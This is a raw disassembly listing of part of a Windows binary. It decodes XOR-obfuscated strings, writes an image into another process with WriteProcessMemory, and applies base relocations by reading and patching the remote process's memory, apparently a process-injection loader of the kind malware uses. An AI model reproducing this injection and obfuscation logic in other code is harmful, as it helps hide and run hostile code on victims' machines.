lea rdx, [rsp + 0x848]
mov rcx, qword [rsp + 0x26d0]
call fcn.1401627f4
nop
mov rdx, qword [rsp + 0x860]
cmp rdx, r14
jbe 0x14018d799
inc rdx
mov rcx, qword [rsp + 0x848]
mov rax, rcx
cmp rdx, r12
jb 0x14018d794
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14019041c
call fcn.140cd8948
mov qword [rsp + 0x858], rsi
mov qword [rsp + 0x860], r14
mov byte [rsp + 0x848], sil
mov rdx, qword [rsp + 0x1f70]
mov rax, qword [rsp + 0xa8]
sub rdx, qword [rax + 0x30]
mov qword [rsp + 0xf8], rdx
mov rax, qword [0x1410a1040]
mov qword [rsp + 0x26d0], rax
movabs rax, 0xe90b0d2149db0583
mov qword [rsp + 0x2e0], rax
movabs rax, 0x111cf0440d408f20
mov qword [rsp + 0x2e8], rax
movabs rax, 0x57252807119b3ab9
mov qword [rsp + 0x2f0], rax
movabs rax, 0xb7726a1b9ff2b5d6
mov qword [rsp + 0x2f8], rax
movabs rcx, 0xc9317f442dba6acf
mov qword [rsp + 0xdb0], rcx
movabs rcx, 0x213cca25792cea64
mov qword [rsp + 0xdb8], rcx
movabs rcx, 0x5725287a49a141c1
mov qword [rsp + 0xdc0], rcx
mov qword [rsp + 0xdc8], rax
movdqa xmm0, xmmword [rsp + 0x2e0]
xorps xmm0, xmmword [rsp + 0xdb0]
movdqa xmmword [rsp + 0x2e0], xmm0
movdqa xmm1, xmmword [rsp + 0x2f0]
xorps xmm1, xmmword [rsp + 0xdc0]
movdqa xmmword [rsp + 0x2f0], xmm1
lea rax, [rsp + 0x2e0]
mov qword [rsp + 0xa10], rax
lea rcx, [rsp + 0x2e0]
mov rax, r15
inc rax
cmp byte [rcx + rax], sil
jne 0x14018d8b1
mov qword [rsp + 0xa18], rax
mov qword [rsp + 0x1400], rdx
movaps xmm0, xmmword [rsp + 0x1400]
movdqa xmmword [rsp + 0x13f0], xmm0
mov qword [rsp + 0xa00], 4
lea rax, [rsp + 0x13f0]
mov qword [rsp + 0xa08], rax
movaps xmm0, xmmword [rsp + 0xa00]
movdqa xmmword [rsp + 0x13e0], xmm0
movaps xmm1, xmmword [rsp + 0xa10]
movdqa xmmword [rsp + 0x13d0], xmm1
lea r8, [rsp + 0x13e0]
lea rdx, [rsp + 0x13d0]
lea rcx, [rsp + 0x828]
call fcn.140aa3350
nop
lea rdx, [rsp + 0x828]
mov rcx, qword [rsp + 0x26d0]
call fcn.1401627f4
nop
mov rdx, qword [rsp + 0x840]
cmp rdx, r14
jbe 0x14018d98b
inc rdx
mov rcx, qword [rsp + 0x828]
mov rax, rcx
cmp rdx, r12
jb 0x14018d986
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140190422
call fcn.140cd8948
mov qword [rsp + 0x838], rsi
mov qword [rsp + 0x840], r14
mov byte [rsp + 0x828], sil
mov rax, qword [rsp + 0x70]
mov rcx, qword [rsp + 0xa8]
mov qword [rcx + 0x30], rax
mov r9d, dword [rcx + 0x54]
mov qword [rsp + 0x20], rsi
mov r8, qword [r13]
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140190428
mov rcx, qword [rsp + 0xa8]
movzx eax, word [rcx + 0x14]
add rax, 0x18
add rax, rcx
mov qword [rsp + 0x100], rax
mov dword [rsp + 0xf0], esi
cmp si, word [rcx + 6]
jae 0x14018efd1
cmp dword [rax + 0x14], esi
je 0x14018da3a
mov edx, dword [rax + 0xc]
add rdx, qword [rsp + 0x70]
mov r9d, dword [rax + 0x10]
mov r8d, dword [rax + 0x14]
add r8, qword [r13]
mov qword [rsp + 0x20], rsi
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140190619
mov rax, qword [rsp + 0x100]
mov rdx, rax
lea rcx, str..reloc
call fcn.140cde85c
test rax, rax
je 0x14018ef93
mov rax, qword [0x1410a1040]
mov qword [rsp + 0xa0], rax
movabs rax, 0xe90b0d2149db0583
mov qword [rsp + 0x2c0], rax
movabs rax, 0x5312ea4117598522
mov qword [rsp + 0x2c8], rax
movabs rax, 0x34405b5a2ace2da4
mov qword [rsp + 0x2d0], rax
movabs rax, 0xb7726a3af19ddca2
mov qword [rsp + 0x2d8], rax
movabs rax, 0xc9317f442dba6acf
mov qword [rsp + 0xdd0], rax
movabs rax, 0x213cca25792cea64
mov qword [rsp + 0xdd8], rax
movabs rax, 0x5725287a49a141c1
mov qword [rsp + 0xde0], rax
movabs rdi, 0xb7726a1b9ff2b5d6
mov qword [rsp + 0xde8], rdi
movdqa xmm0, xmmword [rsp + 0x2c0]
xorps xmm0, xmmword [rsp + 0xdd0]
movdqa xmmword [rsp + 0x2c0], xmm0
movdqa xmm1, xmmword [rsp + 0x2d0]
xorps xmm1, xmmword [rsp + 0xde0]
movdqa xmmword [rsp + 0x2d0], xmm1
lea rax, [rsp + 0x2c0]
mov qword [rsp + 0xa30], rax
lea rcx, [rsp + 0x2c0]
mov rax, r15
inc rax
cmp byte [rcx + rax], sil
jne 0x14018db40
mov qword [rsp + 0xa38], rax
mov qword [rsp + 0xa20], rsi
lea rax, [rsp + 0x1a38]
mov qword [rsp + 0xa28], rax
movaps xmm0, xmmword [rsp + 0xa20]
movdqa xmmword [rsp + 0x1390], xmm0
movaps xmm1, xmmword [rsp + 0xa30]
movdqa xmmword [rsp + 0x1380], xmm1
lea r8, [rsp + 0x1390]
lea rdx, [rsp + 0x1380]
lea rcx, [rsp + 0x808]
call fcn.140aa3350
nop
lea rdx, [rsp + 0x808]
mov rcx, qword [rsp + 0xa0]
call fcn.1401627f4
nop
mov rdx, qword [rsp + 0x820]
cmp rdx, r14
jbe 0x14018dbfd
inc rdx
mov rcx, qword [rsp + 0x808]
mov rax, rcx
cmp rdx, r12
jb 0x14018dbf8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14019080a
call fcn.140cd8948
mov qword [rsp + 0x818], rsi
mov qword [rsp + 0x820], r14
mov byte [rsp + 0x808], sil
mov rax, qword [rsp + 0x100]
mov r10d, dword [rax + 0x14]
mov qword [rsp + 0x710], r10
mov rdx, rsi
mov rcx, qword [rsp + 0xa8]
mov rax, qword [rcx + 0xb0]
mov qword [rsp + 0x168], rax
movabs r8, 0xffffffff00000000
test r8, rax
jbe 0x14018ef9b
mov rax, qword [r13]
lea r9, [rax + rdx]
add r9, r10
mov qword [rsp + 0x88], r9
add rdx, 8
mov ecx, dword [r9 + 4]
sub rcx, 8
shr rcx, 1
mov qword [rsp + 0x80], rcx
lea r8, [rax + rdx]
add r8, r10
mov qword [rsp + 0x78], r8
mov rax, rsi
mov qword [rsp + 0xa0], rax
test rcx, rcx
je 0x14018ef83
add rdx, 2
mov qword [rsp + 0x90], rdx
movzx eax, word [r8 + rax*2]
cmp ax, r12w
jb 0x14018ef5f
and eax, 0xfff
add eax, dword [r9]
mov dword [rsp + 0x64], eax
mov edx, eax
mov qword [rsp + 0xb8], rsi
add rdx, qword [rsp + 0x70]
mov qword [rsp + 0x20], rsi
mov r9d, 8
lea r8, [rsp + 0xb8]
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rax, qword [0x1410a1040]
mov qword [rsp + 0x68], rax
mov rdx, qword [rsp + 0xb8]
mov r8, qword [rsp + 0xf8]
add r8, rdx
mov rax, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
movzx ecx, word [rcx + rax*2]
shr ecx, 0xc
movabs rax, 0xe90b0d2149db0583
mov qword [rsp + 0x370], rax
movabs rax, 0x141b11f1c5c9330
mov qword [rsp + 0x378], rax
movabs rax, 0x364647162cf361bd
mov qword [rsp + 0x380], rax
movabs rax, 0xcc0a5a3bf89cdca2
mov qword [rsp + 0x388], rax
movabs rax, 0x7add836d11b49219
mov qword [rsp + 0x390], rax
movabs rax, 0x23c8714cb2a436a0
mov qword [rsp + 0x398], rax
movabs rax, 0xc9317f442dba6acf
mov qword [rsp + 0x1050], rax
movabs rax, 0x213cca25792cea64
mov qword [rsp + 0x1058], rax
movabs rax, 0x5725287a49a141c1
mov qword [rsp + 0x1060], rax
mov qword [rsp + 0x1068], rdi
movabs rax, 0x4afdbd4031c9ca23
mov qword [rsp + 0x1070], rax
movabs rax, 0x23c87131ea9e4dd8
mov qword [rsp + 0x1078], rax
movdqa xmm0, xmmword [rsp + 0x370]
xorps xmm0, xmmword [rsp + 0x1050]
movdqa xmmword [rsp + 0x370], xmm0
movdqa xmm1, xmmword [rsp + 0x380]
xorps xmm1, xmmword [rsp + 0x1060]
movdqa xmmword [rsp + 0x380], xmm1
movdqa xmm0, xmmword [rsp + 0x390]
xorps xmm0, xmmword [rsp + 0x1070]
movdqa xmmword [rsp + 0x390], xmm0
lea rax, [rsp + 0x370]
mov qword [rsp + 0xa50], rax
lea r9, [rsp + 0x370]
mov rax, r15
inc rax
cmp byte [r9 + rax], sil
jne 0x14018de5c
mov qword [rsp + 0xa58], rax
mov dword [rsp + 0x1370], ecx
mov qword [rsp + 0x1360], rdx
mov qword [rsp + 0x1350], r8
movups xmm0, xmmword [rsp + 0x1370]
movdqu xmmword [rsp + 0x17f0], xmm0
movups xmm1, xmmword [rsp + 0x1360]
movdqu xmmword [rsp + 0x1800], xmm1
movups xmm0, xmmword [rsp + 0x1350]
movdqu xmmword [rsp + 0x1810], xmm0
mov qword [rsp + 0xa40], 0x441
lea rax, [rsp + 0x17f0]
mov qword [rsp + 0xa48], rax
movaps xmm0, xmmword [rsp + 0xa40]
movdqa xmmword [rsp + 0x1340], xmm0
movaps xmm1, xmmword [rsp + 0xa50]
movdqa xmmword [rsp + 0x1330], xmm1
lea r8, [rsp + 0x1340]
lea rdx, [rsp + 0x1330]
lea rcx, [rsp + 0x908]
call fcn.140aa3350
nop
lea rdx, [rsp + 0x908]
mov rcx, qword [rsp + 0x68]
call fcn.1401627f4
nop
mov rdx, qword [rsp + 0x920]
cmp rdx, r14
jbe 0x14018df64
inc rdx
mov rcx, qword [rsp + 0x908]
mov rax, rcx
cmp rdx, r12
jb 0x14018df5f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140190810
call fcn.140cd8948
mov qword [rsp + 0x918], rsi
mov qword [rsp + 0x920], r14
mov byte [rsp + 0x908], sil
mov rax, qword [rsp + 0xa0]
mov r8, qword [rsp + 0x78]
movzx ecx, word [r8 + rax*2]
shr ecx, 0xc
sub ecx, 1
je 0x14018eb61
sub ecx, 1
je 0x14018e77f
sub ecx, 1
je 0x14018e39d
cmp ecx, 7
jne 0x14018ef47
mov qword [rsp + 0x108], rsi
mov edx, dword [rsp + 0x64]
add rdx, qword [rsp + 0x70]
mov qword [rsp + 0x20], rsi
lea r9d, [rcx + 1]
lea r8, [rsp + 0x108]
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x14018e1a0
mov rax, qword [0x1410a1040]
mov qword [rsp + 0x68], rax
movabs rax, 0xe90b0d2149db0583
mov qword [rsp + 0x2a0], rax
movabs rax, 0x444eea57165e9821
mov qword [rsp + 0x2a8], rax
movabs rax, 0x254a451f248125a0
mov qword [rsp + 0x2b0], rax
movabs rax, 0xb7726a1b9ff294af
mov qword [rsp + 0x2b8], rax
movabs rax, 0xc9317f442dba6acf
mov qword [rsp + 0xdf0], rax
movabs rax, 0x213cca25792cea64
mov qword [rsp + 0xdf8], rax
movabs rax, 0x5725287a49a141c1
mov qword [rsp + 0xe00], rax
mov qword [rsp + 0xe08], rdi
movdqa xmm0, xmmword [rsp + 0xdf0]
xorps xmm0, xmmword [rsp + 0x2a0]
movdqa xmmword [rsp + 0x2a0], xmm0
movdqa xmm1, xmmword [rsp + 0xe00]
xorps xmm1, xmmword [rsp + 0x2b0]
movdqa xmmword [rsp + 0x2b0], xmm1
lea rax, [rsp + 0x2a0]
mov qword [rsp + 0xa70], rax
lea rcx, [rsp + 0x2a0]
mov rax, r15
inc rax
cmp byte [rcx + rax], sil
jne 0x14018e0c9
mov qword [rsp + 0xa78], rax
mov qword [rsp + 0xa60], rsi
lea rax, [rsp + 0x1a48]
mov qword [rsp + 0xa68], rax
movaps xmm0, xmmword [rsp + 0xa60]
movdqa xmmword [rsp + 0x1320], xmm0
movaps xmm1, xmmword [rsp + 0xa70]
movdqa xmmword [rsp + 0x1310], xmm1
lea r8, [rsp + 0x1320]
lea rdx, [rsp + 0x1310]
lea rcx, [rsp + 0x7e8]
call fcn.140aa3350
nop
lea rdx, [rsp + 0x7e8]
mov rcx, qword [rsp + 0x68]
call fcn.1401628bc
nop
mov rdx, qword [rsp + 0x800]
cmp rdx, r14
jbe 0x14018e183
inc rdx
mov rcx, qword [rsp + 0x7e8]
mov rax, rcx
cmp rdx, r12
jb 0x14018e17e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140190816
call fcn.140cd8948
mov qword [rsp + 0x7f8], rsi
mov qword [rsp + 0x800], r14
mov byte [rsp + 0x7e8], sil
jmp 0x14018ef42
mov rax, qword [rsp + 0xf8]
add qword [rsp + 0x108], rax
mov edx, dword [rsp + 0x64]
add rdx, qword [rsp + 0x70]
mov qword [rsp + 0x20], rsi
mov r9d, 8
lea r8, [rsp + 0x108]
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14018ef42
mov rax, qword [0x1410a1040]
mov qword [rsp + 0x68], rax
movabs rax, 0xe90b0d2149db0583
mov qword [rsp + 0x280], rax
movabs rax, 0x534bea57165e9821
mov qword [rsp + 0x288], rax
movabs rax, 0x3248081d27c835a8
mov qword [rsp + 0x290], rax
movabs rax, 0xb7726a3ae680dabb
mov qword [rsp + 0x298], rax
movabs rax, 0xc9317f442dba6acf
mov qword [rsp + 0xe10], rax
movabs rax, 0x213cca25792cea64
mov qword [rsp + 0xe18], rax
movabs rax, 0x5725287a49a141c1
mov qword [rsp + 0xe20], rax
mov qword [rsp + 0xe28], rdi
movdqa xmm0, xmmword [rsp + 0xe10]
xorps xmm0, xmmword [rsp + 0x280]
movdqa xmmword [rsp + 0x280], xmm0
movdqa xmm1, xmmword [rsp + 0xe20]
xorps xmm1, xmmword [rsp + 0x290]
movdqa xmmword [rsp + 0x290], xmm1
lea rax, [rsp + 0x280]
mov qword [rsp + 0xa90], rax
lea rcx, [rsp + 0x280]
mov rax, r15
inc rax
cmp byte [rcx + rax], sil
jne 0x14018e2be
mov qword [rsp + 0xa98], rax
mov qword [rsp + 0xa80], rsi
lea rax, [rsp + 0x1a58]
mov qword [rsp + 0xa88], rax
movaps xmm0, xmmword [rsp + 0xa80]
movdqa xmmword [rsp + 0x1300], xmm0
movaps xmm1, xmmword [rsp + 0xa90]
movdqa xmmword [rsp + 0x12f0], xmm1
lea r8, [rsp + 0x1300]
lea rdx, [rsp + 0x12f0]
lea rcx, [rsp + 0x7c8]
call fcn.140aa3350
nop
lea rdx, [rsp + 0x7c8]
mov rcx, qword [rsp + 0x68]
call fcn.1401628bc
nop
mov rdx, qword [rsp + 0x7e0]
cmp rdx, r14
jbe 0x14018e380
inc rdx
mov rcx, qword [rsp + 0x7c8]
mov rax, rcx
cmp rdx, r12
jb 0x14018e373
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14019081c
call fcn.140cd8948
mov rbx, qword [rsp + 0x98]
mov qword [rsp + 0x7d8], rsi
mov qword [rsp + 0x7e0], r14
mov byte [rsp + 0x7c8], sil
jmp 0x14018ef42
mov qword [rsp + 0x110], rsi
mov edx, dword [rsp + 0x64]
add rdx, qword [rsp + 0x70]
mov qword [rsp + 0x20], rsi
mov r9d, 8
lea r8, [rsp + 0x110]
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x14018e58a
mov rax, qword [0x1410a1040]
mov qword [rsp + 0x68], rax
movabs rax, 0xe90b0d2149db0583
mov qword [rsp + 0x320], rax
movabs rax, 0x444eea57165e9821
mov qword [rsp + 0x328], rax
movabs rax, 0x254a451f248125a0
mov qword [rsp + 0x330], rax
movabs rax, 0xb7726a1b9ff294af
mov qword [rsp + 0x338], rax
movabs rax, 0xc9317f442dba6acf
mov qword [rsp + 0xe30], rax
movabs rax, 0x213cca25792cea64
mov qword [rsp + 0xe38], rax
movabs rax, 0x5725287a49a141c1
mov qword [rsp + 0xe40], rax
mov qword [rsp + 0xe48], rdi
movdqa xmm0, xmmword [rsp + 0xe30]
xorps xmm0, xmmword [rsp + 0x320]
movdqa xmmword [rsp + 0x320], xmm0
movdqa xmm1, xmmword [rsp + 0xe40]
xorps xmm1, xmmword [rsp + 0x330]
movdqa xmmword [rsp + 0x330], xmm1
lea rax, [rsp + 0x320]
mov qword [rsp + 0xab0], rax
lea rcx, [rsp + 0x320]
mov rax, r15
inc rax
cmp byte [rcx + rax], sil
jne 0x14018e4b3
mov qword [rsp + 0xab8], rax
mov qword [rsp + 0xaa0], rsi
lea rax, [rsp + 0x1a68]
mov qword [rsp + 0xaa8], rax
movaps xmm0, xmmword [rsp + 0xaa0]
movdqa xmmword [rsp + 0x12e0], xmm0
movaps xmm1, xmmword [rsp + 0xab0]
movdqa xmmword [rsp + 0x12d0], xmm1
lea r8, [rsp + 0x12e0]
lea rdx, [rsp + 0x12d0]
lea rcx, [rsp + 0x7a8]
call fcn.140aa3350
nop
lea rdx, [rsp + 0x7a8]
mov rcx, qword [rsp + 0x68]
call fcn.1401628bc
nop
mov rdx, qword [rsp + 0x7c0]
cmp rdx, r14
jbe 0x14018e56d
inc rdx
mov rcx, qword [rsp + 0x7a8]
mov rax, rcx
cmp rdx, r12
jb 0x14018e568
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140190822
call fcn.140cd8948
mov qword [rsp + 0x7b8], rsi
mov qword [rsp + 0x7c0], r14
mov byte [rsp + 0x7a8], sil
jmp 0x14018ef42
mov rax, qword [rsp + 0xf8]
add qword [rsp + 0x110], rax
mov edx, dword [rsp + 0x64]
add rdx, qword [rsp + 0x70]
mov qword [rsp + 0x20], rsi
mov r9d, 8
lea r8, [rsp + 0x110]
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14018ef42
mov rax, qword [0x1410a1040]
mov qword [rsp + 0x68], rax
movabs rax, 0xe90b0d2149db0583
mov qword [rsp + 0x250], rax
movabs rax, 0x534bea57165e9821
mov qword [rsp + 0x258], rax
movabs rax, 0x3248081d27c835a8
mov qword [rsp + 0x260], rax
movabs rax, 0xb7726a3ae680dabb
mov qword [rsp + 0x268], rax
movabs rax, 0xc9317f442dba6acf
mov qword [rsp + 0xe50], rax
movabs rax, 0x213cca25792cea64
mov qword [rsp + 0xe58], rax
movabs rax, 0x5725287a49a141c1
mov qword [rsp + 0xe60], rax
mov qword [rsp + 0xe68], rdi
movdqa xmm0, xmmword [rsp + 0xe50]
xorps xmm0, xmmword [rsp + 0x250]
movdqa xmmword [rsp + 0x250], xmm0
movdqa xmm1, xmmword [rsp + 0xe60]
xorps xmm1, xmmword [rsp + 0x260]
movdqa xmmword [rsp + 0x260], xmm1
lea rax, [rsp + 0x250]
mov qword [rsp + 0xad0], rax
lea rcx, [rsp + 0x250]
mov rax, r15
inc rax
cmp byte [rcx + rax], sil
jne 0x14018e6a8
mov qword [rsp + 0xad8], rax
mov qword [rsp + 0xac0], rsi
lea rax, [rsp + 0x1a78]
mov qword [rsp + 0xac8], rax
movaps xmm0, xmmword [rsp + 0xac0]
movdqa xmmword [rsp + 0x12c0], xmm0
movaps xmm1, xmmword [rsp + 0xad0]
movdqa xmmword [rsp + 0x12b0], xmm1
lea r8, [rsp + 0x12c0]
lea rdx, [rsp + 0x12b0]
lea rcx, [rsp + 0x788]
call fcn.140aa3350
nop
lea rdx, [rsp + 0x788]
mov rcx, qword [rsp + 0x68]
call fcn.1401628bc
nop
mov rdx, qword [rsp + 0x7a0]
cmp rdx, r14
jbe 0x14018e762
inc rdx
mov rcx, qword [rsp + 0x788]
mov rax, rcx
cmp rdx, r12
jb 0x14018e75d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140190828
call fcn.140cd8948
mov qword [rsp + 0x798], rsi
mov qword [rsp + 0x7a0], r14
mov byte [rsp + 0x788], sil
jmp 0x14018ef42
mov word [rsp + 0x26d0], si
mov edx, dword [rsp + 0x64]
add rdx, qword [rsp + 0x70]
mov qword [rsp + 0x20], rsi
mov r9d, 2
lea r8, [rsp + 0x26d0]
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x14018e96c
mov rax, qword [0x1410a1040]
mov qword [rsp + 0x68], rax
movabs rax, 0xe90b0d2149db0583
mov qword [rsp + 0x1e0], rax
movabs rax, 0x444eea57165e9821
mov qword [rsp + 0x1e8], rax
movabs rax, 0x254a451f248125a0
mov qword [rsp + 0x1f0], rax
movabs rax, 0xb7726a1b9ff294af
mov qword [rsp + 0x1f8], rax
movabs rax, 0xc9317f442dba6acf
mov qword [rsp + 0xe70], rax
movabs rax, 0x213cca25792cea64
mov qword [rsp + 0xe78], rax
movabs rax, 0x5725287a49a141c1
mov qword [rsp + 0xe80], rax
mov qword [rsp + 0xe88], rdi
movdqa xmm0, xmmword [rsp + 0xe70]
xorps xmm0, xmmword [rsp + 0x1e0]
movdqa xmmword [rsp + 0x1e0], xmm0
movdqa xmm1, xmmword [rsp + 0xe80]
xorps xmm1, xmmword [rsp + 0x1f0]
movdqa xmmword [rsp + 0x1f0], xmm1
lea rax, [rsp + 0x1e0]
mov qword [rsp + 0x970], rax
lea rcx, [rsp + 0x1e0]
mov rax, r15
inc rax
cmp byte [rcx + rax], sil
jne 0x14018e895
mov qword [rsp + 0x978], rax
mov qword [rsp + 0xae0], rsi
lea rax, [rsp + 0x1a88]
mov qword [rsp + 0xae8], rax
movaps xmm0, xmmword [rsp + 0xae0]
movdqa xmmword [rsp + 0x12a0], xmm0
movaps xmm1, xmmword [rsp + 0x970]
movdqa xmmword [rsp + 0x1290], xmm1
lea r8, [rsp + 0x12a0]
lea rdx, [rsp + 0x1290]
lea rcx, [rsp + 0x768]
call fcn.140aa3350
nop
lea rdx, [rsp + 0x768]
mov rcx, qword [rsp + 0x68]
call fcn.1401628bc
nop
mov rdx, qword [rsp + 0x780]
cmp rdx, r14
jbe 0x14018e94f
inc rdx
mov rcx, qword [rsp + 0x768]
mov rax, rcx
cmp rdx, r12
jb 0x14018e94a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14019082e
call fcn.140cd8948
mov qword [rsp + 0x778], rsi
mov qword [rsp + 0x780], r14
mov byte [rsp + 0x768], sil
jmp 0x14018ef42
mov rax, qword [rsp + 0xf8]
add word [rsp + 0x26d0], ax
mov edx, dword [rsp + 0x64]
add rdx, qword [rsp + 0x70]
mov qword [rsp + 0x20], rsi
mov r9d, 2
lea r8, [rsp + 0x26d0]
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14018ef42
mov rax, qword [0x1410a1040]
mov qword [rsp + 0x68], rax
movabs rax, 0xe90b0d2149db0583
mov qword [rsp + 0x1a0], rax
movabs rax, 0x534bea57165e9821
mov qword [rsp + 0x1a8], rax
movabs rax, 0x3248081d27c835a8
mov qword [rsp + 0x1b0], rax
movabs rax, 0xb7726a3ae680dabb
mov qword [rsp + 0x1b8], rax
movabs rax, 0xc9317f442dba6acf
mov qword [rsp + 0xe90], rax
movabs rax, 0x213cca25792cea64
mov qword [rsp + 0xe98], rax
movabs rax, 0x5725287a49a141c1
mov qword [rsp + 0xea0], rax
mov qword [rsp + 0xea8], rdi
movdqa xmm0, xmmword [rsp + 0xe90]
xorps xmm0, xmmword [rsp + 0x1a0]
movdqa xmmword [rsp + 0x1a0], xmm0
movdqa xmm1, xmmword [rsp + 0xea0]
xorps xmm1, xmmword [rsp + 0x1b0]
movdqa xmmword [rsp + 0x1b0], xmm1
lea rax, [rsp + 0x1a0]
mov qword [rsp + 0xb30], rax
lea rcx, [rsp + 0x1a0]
mov rax, r15
inc rax
cmp byte [rcx + rax], sil
jne 0x14018ea8a
mov qword [rsp + 0xb38], rax
mov qword [rsp + 0xb20], rsi
lea rax, [rsp + 0x1a98]
mov qword [rsp + 0xb28], rax
movaps xmm0, xmmword [rsp + 0xb20]
movdqa xmmword [rsp + 0x1280], xmm0
movaps xmm1, xmmword [rsp + 0xb30]
movdqa xmmword [rsp + 0x1270], xmm1
lea r8, [rsp + 0x1280]
lea rdx, [rsp + 0x1270]
lea rcx, [rsp + 0x748]
call fcn.140aa3350
nop
lea rdx, [rsp + 0x748]
mov rcx, qword [rsp + 0x68]
call fcn.1401628bc
nop
mov rdx, qword [rsp + 0x760]
cmp rdx, r14
jbe 0x14018eb44
inc rdx
mov rcx, qword [rsp + 0x748]
mov rax, rcx
cmp rdx, r12
jb 0x14018eb3f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140190834
call fcn.140cd8948
mov qword [rsp + 0x758], rsi
mov qword [rsp + 0x760], r14
mov byte [rsp + 0x748], sil
jmp 0x14018ef42
mov word [rsp + 0x26d8], si
mov edx, dword [rsp + 0x64]
add rdx, qword [rsp + 0x70]
mov qword [rsp + 0x20], rsi
mov r9d, 2
lea r8, [rsp + 0x26d8]
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x14018ed4e
mov rax, qword [0x1410a1040]
mov qword [rsp + 0x68], rax
movabs rax, 0xe90b0d2149db0583
mov qword [rsp + 0x1c0], rax
movabs rax, 0x444eea57165e9821
mov qword [rsp + 0x1c8], rax
movabs rax, 0x254a451f248125a0
mov qword [rsp + 0x1d0], rax
movabs rax, 0xb7726a1b9ff294af
mov qword [rsp + 0x1d8], rax
movabs rax, 0xc9317f442dba6acf
mov qword [rsp + 0xeb0], rax
movabs rax, 0x213cca25792cea64
mov qword [rsp + 0xeb8], rax
movabs rax, 0x5725287a49a141c1
mov qword [rsp + 0xec0], rax
mov qword [rsp + 0xec8], rdi
movdqa xmm0, xmmword [rsp + 0xeb0]
xorps xmm0, xmmword [rsp + 0x1c0]
movdqa xmmword [rsp + 0x1c0], xmm0
movdqa xmm1, xmmword [rsp + 0xec0]
xorps xmm1, xmmword [rsp + 0x1d0]
movdqa xmmword [rsp + 0x1d0], xmm1
lea rax, [rsp + 0x1c0]
mov qword [rsp + 0xb50], rax
lea rcx, [rsp + 0x1c0]
mov rax, r15
inc rax
cmp byte [rcx + rax], sil
jne 0x14018ec77
mov qword [rsp + 0xb58], rax
mov qword [rsp + 0xb40], rsi
lea rax, [rsp + 0x1aa8]
mov qword [rsp + 0xb48], rax
movaps xmm0, xmmword [rsp + 0xb40]
movdqa xmmword [rsp + 0x1260], xmm0
movaps xmm1, xmmword [rsp + 0xb50]
movdqa xmmword [rsp + 0x1250], xmm1
lea r8, [rsp + 0x1260]
lea rdx, [rsp + 0x1250]
lea rcx, [rsp + 0x928]
call fcn.140aa3350
nop
lea rdx, [rsp + 0x928]
mov rcx, qword [rsp + 0x68]
call fcn.1401628bc
nop
mov rdx, qword [rsp + 0x940]
cmp rdx, r14
jbe 0x14018ed31
inc rdx
mov rcx, qword [rsp + 0x928]
mov rax, rcx
cmp rdx, r12
jb 0x14018ed2c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14019083a
call fcn.140cd8948
mov qword [rsp + 0x938], rsi
mov qword [rsp + 0x940], r14
mov byte [rsp + 0x928], sil
jmp 0x14018ef42
mov rax, qword [rsp + 0xf8]
shr rax, 0x10
add word [rsp + 0x26d8], ax
mov edx, dword [rsp + 0x64]
add rdx, qword [rsp + 0x70]
mov qword [rsp + 0x20], rsi
mov r9d, 2
lea r8, [rsp + 0x26d8]
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14018ef42
mov rax, qword [0x1410a1040]
mov qword [rsp + 0x68], rax
movabs rax, 0xe90b0d2149db0583
mov qword [rsp + 0x230], rax
movabs rax, 0x534bea57165e9821
mov qword [rsp + 0x238], rax
movabs rax, 0x3248081d27c835a8
mov qword [rsp + 0x240], rax
movabs rax, 0xb7726a3ae680dabb
mov qword [rsp + 0x248], rax
movabs rax, 0xc9317f442dba6acf
mov qword [rsp + 0xed0], rax
movabs rax, 0x213cca25792cea64
mov qword [rsp + 0xed8], rax
movabs rax, 0x5725287a49a141c1
mov qword [rsp + 0xee0], rax
mov qword [rsp + 0xee8], rdi
movdqa xmm0, xmmword [rsp + 0xed0]
xorps xmm0, xmmword [rsp + 0x230]
movdqa xmmword [rsp + 0x230], xmm0
movdqa xmm1, xmmword [rsp + 0xee0]
